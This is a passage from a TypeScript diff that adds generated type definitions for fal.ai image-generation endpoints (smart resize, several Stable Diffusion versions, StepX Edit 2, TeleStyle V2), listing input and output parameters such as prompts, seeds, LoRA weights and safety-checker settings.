InputFalAiSmartResizeResolutionEnumKey + /** + * @description Optional extra instruction that is forwarded to nano-banana-pro alongside the auto-generated resize prompt. Leave empty to let the model preserve the original image content as closely as possible. + * @maxLength 5000 + * @default '' + * @example + * @type string | undefined + */ + prompt?: string + /** + * @description The number of nano-banana-pro variants to produce for each target size. The response images list will contain ``len(target_sizes) * num_images_per_size`` images in total. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images_per_size?: number +} + +export type ImageFileB0D7Db09 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null +} + +/** + * @description Per-target-size resize result: a list of ``ImageFile`` objects all at the + * exact requested (width, height). + * @type object + */ +export type SmartResizeResult = { + /** + * @description The requested target width in pixels. + * @type integer + */ + width: number + /** + * @description The generated images. + * @type array + */ + images: ImageFileB0D7Db09[] + /** + * @description The requested target height in pixels. + * @type integer + */ + height: number + /** + * @description The nano-banana-pro resolution tier that was used internally for this target size. + * @type string + */ + resolution: string + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The nano-banana-pro aspect ratio that was used internally for this target size. + * @type string + */ + aspect_ratio: string +} + +export type OutputFalAiSmartResize = { + /** + * @description All generated images, flattened across every target size. Order matches the order of ``results`` below: the first ``num_images_per_size`` entries correspond to ``target_sizes[0]`` and so on. + * @example [{"content_type":"image/png","file_name":"nano-banana-pro-edit-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-pro-edit-output.png"}] + * @type array + */ + images: ImageFileB0D7Db09[] + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description Per-target-size breakdown with the requested width/height and the nano-banana-pro (aspect_ratio, resolution) preset that was used internally. + * @type array + */ + results: SmartResizeResult[] +} + +export type ImageSize84D015E0 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight1D1C8B3E = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean +} + +export type EmbeddingC16861B1 = { + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export const inputFalAiStableDiffusionV15FormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiStableDiffusionV15FormatEnumKey = + (typeof inputFalAiStableDiffusionV15FormatEnum)[keyof typeof inputFalAiStableDiffusionV15FormatEnum] + +export const inputFalAiStableDiffusionV15ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiStableDiffusionV15ImageSizeKey = + (typeof inputFalAiStableDiffusionV15ImageSize)[keyof typeof inputFalAiStableDiffusionV15ImageSize] + +export const inputFalAiStableDiffusionV15SafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiStableDiffusionV15SafetyCheckerVersionEnumKey = + (typeof inputFalAiStableDiffusionV15SafetyCheckerVersionEnum)[keyof typeof inputFalAiStableDiffusionV15SafetyCheckerVersionEnum] + +export type InputFalAiStableDiffusionV15 = { + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiStableDiffusionV15FormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 25 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default square + */ + image_size?: ImageSize84D015E0 | InputFalAiStableDiffusionV15ImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight1D1C8B3E[] + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @example ugly, deformed + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiStableDiffusionV15SafetyCheckerVersionEnumKey + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: EmbeddingC16861B1[] + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example photo of a rhino dressed suit and tie sitting at a table in a bar with a bar stools, award winning photography, Elke vogelsang + * @example Photo of a classic red mustang car parked in las vegas strip at night + * @type string + */ + prompt: string +} + +export type Image6A493Ad4 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiStableDiffusionV15 = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image6A493Ad4[] +} + +export type ImageSizeE53C7D6D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiStableDiffusionV3MediumImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiStableDiffusionV3MediumImageSizeKey = + (typeof inputFalAiStableDiffusionV3MediumImageSize)[keyof typeof inputFalAiStableDiffusionV3MediumImageSize] + +export type InputFalAiStableDiffusionV3Medium = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example Digital art, portrait of an anthropomorphic roaring Tiger warrior with full armor, close up in the middle of a battle, behind him there is a banner with the text "Open Source" + * @type string + */ + prompt: string + /** + * @description If set to true, prompt will be upsampled with more details. + * @default false + * @type boolean | undefined + */ + prompt_expansion?: boolean + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeE53C7D6D | InputFalAiStableDiffusionV3MediumImageSizeKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type Image5Cef9D77 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiStableDiffusionV3Medium = { + /** + * @description The number of images generated. + * @type integer + */ + num_images: number + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image5Cef9D77[] + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize3384F215 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiStableDiffusionV3MediumImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiStableDiffusionV3MediumImageToImageImageSizeKey = + (typeof inputFalAiStableDiffusionV3MediumImageToImageImageSize)[keyof typeof inputFalAiStableDiffusionV3MediumImageToImageImageSize] + +export type InputFalAiStableDiffusionV3MediumImageToImage = { + /** + * @description The size of the generated image. Defaults to the conditioning image's size. + * @example null + */ + image_size?: + | ImageSize3384F215 + | InputFalAiStableDiffusionV3MediumImageToImageImageSizeKey + | null + /** + * @description If set to true, prompt will be upsampled with more details. + * @default false + * @type boolean | undefined + */ + prompt_expansion?: boolean + /** + * @description The prompt to generate an image from. + * @example cat wizard, gandalf, lord of the rings, detailed, fantasy, cute, adorable, Pixar, Disney, 8k + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The strength of the image-to-image transformation. + * @minimum 0.01 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + strength?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The image URL to generate an image from. + * @example https://fal.media/files/zebra/b52cVi3BhLDJcBrk6x0DL.png + * @type string + */ + image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageD521Bcbb = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiStableDiffusionV3MediumImageToImage = { + /** + * @description The number of images generated. + * @type integer + */ + num_images: number + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: ImageD521Bcbb[] + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeD97Bba59 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type ControlNetD72Da04F = { + /** + * @description + * The percentage of the image to start applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + start_percentage?: number + /** + * @description + * The percentage of the image to end applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_percentage?: number + /** + * @description URL of the image to be used as the control image. + * @type string + */ + control_image_url: string + /** + * @description URL or the path to the control net weights. + * @type string + */ + path: string + /** + * @description + * The scale of the control net weight. This is used to scale the control net weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + conditioning_scale?: number +} + +export type LoraWeight60C152A3 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type IPAdapterD7672179 = { + /** + * @description Name of the image encoder. + */ + image_encoder_weight_name?: string | null + /** + * @description URL of Image for IP-Adapter conditioning. + * @type string + */ + image_url: string + /** + * @description Threshold for mask. + * @minimum 0.01 + * @maximum 0.99 + * @default 0.5 + * @type number | undefined + */ + mask_threshold?: number + /** + * @description Subfolder in which the image encoder weights exist. + */ + image_encoder_subfolder?: string | null + /** + * @description HTTPS URL or Hugging Face repository for content-valid safetensors IP-Adapter weights. Convert .bin adapters to safetensors offline before uploading. + * @type string + */ + path: string + /** + * @description URL of the mask for the control image. + */ + mask_image_url?: string | null + /** + * @description Subfolder in which the ip_adapter weights exist + */ + subfolder?: string | null + /** + * @description Scale for ip adapter. + * @type number + */ + scale: number + /** + * @description Path to the Image Encoder for the IP-Adapter, for example 'openai/clip-vit-large-patch14' + * @type string + */ + image_encoder_path: string + /** + * @description Exact file containing content-valid safetensors IP-Adapter weights. Pickle .bin adapters require safe offline conversion to safetensors. + */ + weight_name?: string | null +} + +export const inputFalAiStableDiffusionV35LargeImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiStableDiffusionV35LargeImageSizeKey = + (typeof inputFalAiStableDiffusionV35LargeImageSize)[keyof typeof inputFalAiStableDiffusionV35LargeImageSize] + +export const inputFalAiStableDiffusionV35LargeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiStableDiffusionV35LargeOutputFormatEnumKey = + (typeof inputFalAiStableDiffusionV35LargeOutputFormatEnum)[keyof typeof inputFalAiStableDiffusionV35LargeOutputFormatEnum] + +export type InputFalAiStableDiffusionV35Large = { + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. Defaults to landscape_4_3 if no controlnet has been passed, otherwise defaults to the size of the controlnet conditioning image. + */ + image_size?: + | ImageSizeD97Bba59 + | InputFalAiStableDiffusionV35LargeImageSizeKey + | null + /** + * @description + * ControlNet for inference. + * + * @type object | undefined + */ + controlnet?: ControlNetD72Da04F + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiStableDiffusionV35LargeOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example A dreamlike Japanese garden in perpetual twilight, bathed in bioluminescent cherry blossoms that emit a soft pink-purple glow. Floating paper lanterns drift lazily through the scene, their warm light creating dancing reflections in a mirror-like koi pond. Ethereal mist weaves between ancient stone pathways lined with glowing mushrooms in pastel blues and purples. A traditional wooden bridge arches gracefully over the water, dusted with fallen petals that sparkle like stardust. The scene is captured through a cinematic lens with perfect bokeh, creating an otherworldly atmosphere. In the background, a crescent moon hangs impossibly large in the sky, surrounded by a sea of stars and auroral wisps in teal and violet. Crystal formations emerge from the ground, refracting the ambient light into rainbow prisms. The entire composition follows the golden ratio, with moody film-like color grading reminiscent of Studio Ghibli, enhanced by volumetric god rays filtering through the luminous foliage. 8K resolution, masterful photography, hyperdetailed, magical realism. + * @type string + */ + prompt: string + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight60C152A3[] + /** + * @description + * IP-Adapter to use during inference. + * + */ + ip_adapter?: IPAdapterD7672179 | null +} + +export type ImageF0E013Ea = { + url: string + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + height: number +} + +export type OutputFalAiStableDiffusionV35Large = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: ImageF0E013Ea[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSizeAcd77D0C = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiStableDiffusionV35MediumImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiStableDiffusionV35MediumImageSizeKey = + (typeof inputFalAiStableDiffusionV35MediumImageSize)[keyof typeof inputFalAiStableDiffusionV35MediumImageSize] + +export const inputFalAiStableDiffusionV35MediumOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiStableDiffusionV35MediumOutputFormatEnumKey = + (typeof inputFalAiStableDiffusionV35MediumOutputFormatEnum)[keyof typeof inputFalAiStableDiffusionV35MediumOutputFormatEnum] + +export type InputFalAiStableDiffusionV35Medium = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeAcd77D0C + | InputFalAiStableDiffusionV35MediumImageSizeKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiStableDiffusionV35MediumOutputFormatEnumKey + /** + * @description If true (default), the requested `image_size` is silently rounded to the nearest compatible value for this model. If false, the request returns a 422 error when the requested `image_size` is not directly compatible. + * @default true + * @type boolean | undefined + */ + auto_fix?: boolean + /** + * @description The prompt to generate an image from. + * @example A dreamlike Japanese garden in perpetual twilight, bathed in bioluminescent cherry blossoms that emit a soft pink-purple glow. Floating paper lanterns drift lazily through the scene, their warm light creating dancing reflections in a mirror-like koi pond. Ethereal mist weaves between ancient stone pathways lined with glowing mushrooms in pastel blues and purples. A traditional wooden bridge arches gracefully over the water, dusted with fallen petals that sparkle like stardust. The scene is captured through a cinematic lens with perfect bokeh, creating an otherworldly atmosphere. In the background, a crescent moon hangs impossibly large in the sky, surrounded by a sea of stars and auroral wisps in teal and violet. Crystal formations emerge from the ground, refracting the ambient light into rainbow prisms. The entire composition follows the golden ratio, with moody film-like color grading reminiscent of Studio Ghibli, enhanced by volumetric god rays filtering through the luminous foliage. 8K resolution, masterful photography, hyperdetailed, magical realism. + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type Image3A99D978 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string +} + +export type OutputFalAiStableDiffusionV35Medium = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image3A99D978[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiStepxEdit2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiStepxEdit2OutputFormatEnumKey = + (typeof inputFalAiStepxEdit2OutputFormatEnum)[keyof typeof inputFalAiStepxEdit2OutputFormatEnum] + +export type InputFalAiStepxEdit2 = { + /** + * @description Enable reflection mode. Reviews outputs, corrects unintended changes, and determines when editing is complete. + * @default true + * @type boolean | undefined + */ + enable_reflection_mode?: boolean + /** + * @description The number of inference steps to perform. Recommended: 50. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiStepxEdit2OutputFormatEnumKey + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://storage.googleapis.com/falserverless/example_inputs/girl_2.png + * @type string + */ + image_url: string + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The true CFG scale. Controls how closely the model follows the prompt. + * + * @minimum 0 + * @maximum 20 + * @default 6 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to generate an image from. + * @example make head band red + * @type string + */ + prompt: string + /** + * @description Enable thinking mode. Uses multimodal language model knowledge to interpret abstract editing instructions. + * @default true + * @type boolean | undefined + */ + enable_thinking_mode?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type Image7E2D535F = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiStepxEdit2 = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description Reflection analysis (only available when reflection mode is enabled). + */ + best_info?: object[] | null + /** + * @description Reasoning process details (only available when thinking mode is enabled). + */ + think_info?: string[] | null + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The model's interpretation of your instruction (only available when thinking mode is enabled). + */ + reformat_prompt?: string | null + /** + * @description The generated images + * @example [{"width":672,"height":1024,"content_type":"image/jpeg","url":"https://v3.fal.media/files/kangaroo/kFPr5gC_Rr9JZbTTakEMd.jpeg"}] + * @type array + */ + images: Image7E2D535F[] +} + +export type ImageSizeB85Fa95C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiTelestyleV2AccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiTelestyleV2AccelerationEnumKey = + (typeof inputFalAiTelestyleV2AccelerationEnum)[keyof typeof inputFalAiTelestyleV2AccelerationEnum] + +export const inputFalAiTelestyleV2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiTelestyleV2ImageSizeKey = + (typeof inputFalAiTelestyleV2ImageSize)[keyof typeof inputFalAiTelestyleV2ImageSize] + +export const inputFalAiTelestyleV2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiTelestyleV2OutputFormatEnumKey = + (typeof inputFalAiTelestyleV2OutputFormatEnum)[keyof typeof inputFalAiTelestyleV2OutputFormatEnum] + +export type InputFalAiTelestyleV2 = { + /** + * @description If true, use the Lightning LoRA in addition to the default LoRA. + * @default true + * @type boolean | undefined + */ + use_lightning_lora?: boolean + /** + * @description URL of the content image — the image whose subject and structure are preserved while the style is applied. + * @example https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png + * @type string + */ + content_image_url: string + /** + * @description Acceleration level for image generation. 'none' (the default) honors the requested num_inference_steps, so the default 4-step Lightning configuration runs in 4 steps. 'regular' engages the downstream accelerated path, which runs a fixed 10 steps regardless of num_inference_steps. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiTelestyleV2AccelerationEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The size of the generated image. If not provided, the size of the content image is used. + */ + image_size?: ImageSizeB85Fa95C | InputFalAiTelestyleV2ImageSizeKey | null + /** + * @description Strength of the Lightning LoRA. 1.0 matches the reference implementation; lower values apply the style more subtly. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lightning_lora_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The same seed and the same inputs given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description If true, describe the content image with a VLM and add the description to the prompt. + * @default true + * @type boolean | undefined + */ + use_content_description?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description URL of the style reference image — the artistic style, material, lighting and color of this image are transferred onto the content image. + * @example https://v3.fal.media/files/penguin/BCOZp6teRhSQFuOXpbBOa_da8ef9b4982347a2a62a516b737d4f21.png + * @type string + */ + style_image_url: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiTelestyleV2OutputFormatEnumKey + /** + * @description Strength of the TeleStyleV2 style adapter. 1.0 matches the reference implementation; lower values apply the style more subtly. + * @minimum 